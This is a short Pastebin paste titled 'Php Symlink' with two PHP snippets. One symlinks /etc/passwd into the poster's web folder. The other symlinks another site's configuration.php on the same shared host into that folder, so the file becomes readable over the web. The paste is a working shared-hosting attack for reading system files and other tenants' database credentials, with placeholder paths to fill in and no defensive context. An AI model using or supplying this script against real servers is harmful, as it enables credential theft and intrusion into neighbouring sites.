lehieuit

Php Symlink

Apr 12th, 2012
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.26 KB | None | 0 0
  1. <?php
  2. $target = '/etc/passwd';
  3. $link = '/home/YOURPATH/site/etc_passwd.txt';
  4. symlink($target, $link);
  5. ?>
  6.  
  7. <?php
  8. $target = '/home/PATHOFOTHERSITE/site/configuration.php';
  9. $link = '/home/YOURPATH/site/first_site_configuration.txt';
  10. symlink($target, $link);
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment